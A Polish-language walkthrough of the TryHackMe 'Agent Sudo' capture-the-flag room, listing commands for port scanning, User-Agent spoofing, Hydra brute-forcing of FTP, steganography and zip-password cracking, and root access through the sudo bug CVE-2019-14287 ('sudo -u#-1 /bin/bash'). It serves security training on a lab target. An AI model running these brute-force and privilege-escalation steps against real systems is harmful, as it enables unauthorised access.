AGENT SUDO NA TRYHACKME

Trudny pokój na ścieżce dla początkujących w Agent Sudo w Tryhackme

Laboratorium działa dość wolno, więc musimy poczekać na skanowanie portów.

Więc zacznijmy, jest tak wiele do nauczenia się.

A) Najpierw zrobimy NMAP

nmap -sV -sC -A 10.10.111.153

      
                

                    
                    
                
            

więc sprawdzamy w porcie 80, jaka strona internetowa jest uruchomiona na Http

Mówi, że zmień agenta użytkownika, aby ominął tę stronę, więc co możemy zrobić?

Używamy narzędzia proxy „Burpsuite”, co to jest? narzędzie używane do testów penetracyjnych.

Użyj burp, aby przechwycić żądanie Teraz zmień agenta użytkownika na C

Po ustawieniu User-agent na C, jesteśmy przekierowywani do http://10.10.111.153/agent_C_attention.php, gdzie możemy zobaczyć następujący komunikat:

Założyłem, że „chris” musi być użytkownikiem systemu.

więc co możemy tutaj zrobić?

Teraz wiemy, że nazwa użytkownika to Chris, więc możemy użyć „Hydry” do brutalnej siły, aby uzyskać dane uwierzytelniające użytkownika FTP.

Wpisz

hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.111.153

      
                

                    
                    
                
            

zaloguj się przy użyciu poświadczeń FTP

ftp 10.10.111.153

      
                

                    
                    
                
            

Możemy użyć narzędzia Exiftool lub steghide, aby uzyskać metadane obrazu.

Teraz przejrzyj pliki iw cutie.png coś znaleźliśmy

binwalk -e cutie.png

      
                

                    
                    
                
            

Teraz musimy złamać hasło do pliku 8702.zip

zip2john 8702.zip > out.txt
jonh --wordlist=/usr/share/wordlists/rockyou.txt out.txt

      
                

                    
                    
                
            

Teraz wyodrębnij zawartość

7z e 8702.zip

      
                

                    
                    
                
            

cat To_agentR.txt

      
                

                    
                    
                
            

echo "QXJlYTUx" | base64 -d

Teraz wyodrębnijmy tekst lub plik z cute-alien.jpg

steghide extract -sf cute-alien.jpg
# Enter Area51 as passphrase
cat message.txt

      
                

                    
                    
                
            

Następnym krokiem jest próba zalogowania się przy użyciu poświadczeń SSH

ssh [email protected]

Mamy flagę użytkownika!

próbujemy uzyskać Alien autospy.jpg za pomocą typu

sudo scp [email protected]:Alien_autospy.jpg

Aby uzyskać flagę roota musimy sprawdzić jakie uprawnienia lub uprawnienia posiadamy

Ten jest trochę trudniejszy. Najpierw wpisz polecenie.

sudo -l

      
                

                    
                    
                
            

CVE-2019-14287

Zwiększ uprawnienia

sudo -u#-1 /bin/bash

      
                

                    
                    
                
            

Teraz mamy wszystkie nasze odpowiedzi, prześlijmy je i pomyślnie ukończyliśmy nasz CTF !!

Próbuj dalej, pracuj :)

Dziękuję za przeczytanie!!

Miłego hakowania

Author: Xploit Ayush